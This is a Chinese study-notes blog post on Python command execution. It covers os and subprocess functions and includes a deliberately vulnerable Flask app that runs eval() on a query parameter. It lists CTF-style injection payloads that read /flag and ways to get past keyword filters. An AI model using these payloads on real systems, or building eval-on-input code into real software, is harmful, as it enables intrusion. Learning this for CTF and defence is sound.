之前学习过了rce在php下的利用,接下来来学习一下python中rce的利用,其根本主要就是执行系统命令的函数有所不同.
os模块
os是python中用来执行系统命令的包.下面是常用的两个方法.
1.os.system
:可以用来执行系统命令,但是无法将系统命令执行的结果返回.如果执行成功了会返回0,失败了会返回1
import os
os.system('dir') //输出目录结构
print(os.system('dir')) //输出目录结构,下一行输出0
2.os.popen
:可以用来将系统命令执行的结构存储到一个管道文件中(什么是管道文件?个人理解是类似php中的phar这种).然后可以通过read方法来将管道文件的内容返回
import os
out=os.popen('dir')
print(out.read())
subprocess模块
可以认为subprocess是os模块的安全版
1.subprocess.run
:基本是subprocess中最常用的模块,包含下列参数
1.唯一一个必须要有的参数,为一个列表,其中第一个值是一个应用程序,后面的则是传递的参数
import subprocess
out=subprocess.run(["calc.exe","-p"],capture_output=True,text=True)
print(out.stdout)
这也是我们常说的弹计算器命令,但是需要注意,由于windows并不是像linux那样由纯文件组成,所以这里的列表中无法直接使用dir命令如["dir"]
(本质上这个dir是传递给windows.cmd的一个参数,但是这个windows.cmd程序的位置找不到)
2.shell=True,默认为false
用于控制是否允许在第一个参数处直接使用shell命令的,开启后则可以不使列表而是以字符串形式直接使用,如:
import subprocess
out=subprocess.run("dir",shell=True,capture_output=True,text=True)
print(out.stdout)
3.stdin,stdout,stderr,默认为false
这三个参数用来设置输入,输出和错误信息为管道对象或是类文件对象,这里不常用.
4.capture_output=true,默认为false
用于捕获stdout和stderr时期不会输出到终端而是作为一个对象来返回.
5.text=true,默认为false
默认状态下返回的数据为字节流,而text=true
可以使得返回的数据为字符串而不是字节流,不用人手动转换.
6.encoding='utf-8'
如果指定了参数,则stdin,stdout,stderr可以接受该类型的数据,否则默认为字节流.可以认为是text=true
的一个手动选择版
7.timeout
设置命令超时时间.如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired
异常.
8.check=true
如果该参数设置为True
,并且进程退出状态码不是0,则弹出CalledProcessError
异常.
2.subprocess.Popen
是subprocess方法的核心,可用于实现更为复杂的功能
3.subprocess.getoutput
:用于执行系统命令,并将stdout和stderr直接捕获(不输出到终端)并以字符串形式返回
import os
import subprocess
out=subprocess.getoutput("dir") # 到这还没有输出
print(out) #到这才有的输出
4.subprocess.check_output
:可以理解为subprocess.run
和subprocess.getoutput
的结合版.会将stdout捕获作为字符串返回,同时也可以像subprocess.run
一样使用较为复杂的自定义功能.
import subprocess
out=subprocess.check_output("dir",shell=True,text=True)# 到这还没有输出
print(out) #到这才有的输出
5.subprocess.call()
及check_call()
subprocess.call()
为python3.5以前版本使用,与subprocess.run()
用法基本一致,但call()返回的为命令结束码,无法获取更多信息,不推荐使用,现已被run()取代.
subprocess.check_call()
与call()
的区别为,check_call()
如果命令失败(即 returncode不为0)会主动抛出subprocess.CalledProcessError
异常,使用subprocess.run(check=True)
可取代subprocess.check_call()
.
send_file
是类似于render_template
和redirect
的一种用于前后端交互的方法,可以下载指定的文件.
import os
import subprocess
from flask import Flask, render_template, request, redirect, url_for,session, send_file, Response
app = Flask(__name__)
@app.route('/')
def index():
return send_file('D:\\lbzstudy\\网络空间安全学院2023版培养方案---Ver10.1-没有修改标记.docx')
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0",port=5000)
eval和exec
eval()和 exec()函数的功能是相似的,都可以执行一个字符串形式的 Python代码(代码以字符串的形式提供),相当于一个Python的解释器.二者不同之处在于,eval()执行完要返回结果,而exec()执行完不返回结果.
示例:
from flask import Flask, request, send_file
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get("cmd"):
return send_file("app.py")
else:
cmd=request.args.get("cmd")
res=eval(cmd)
return res
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0",port=5000)
payload:
?cmd=__import__("os").popen("ls%20/").read()
?cmd=__import__("subprocess").run("tac%20/flag", shell=True,
capture_output=True, encoding='utf-8').stdout
?cmd=__import__("subprocess").check_output("cat /flag",
shell=True).decode("utf-8")
?cmd=__import__("subprocess").getoutput("cat /flag")
?cmd=send_file("/flag")
这里面的__import__("os")
一类的用法是用于动态导入模块的.
关键词过滤
目前知道特殊的仅限于如下
os.system("ls")
os.system("l"+"s")
getattr(os,"sys"+"tem")("ls")
其中的getattr是用于动态执行命令的.
标签:__,python,True,cmd,subprocess,import,rce,os From: https://www.cnblogs.com/merak-lbz/p/18260893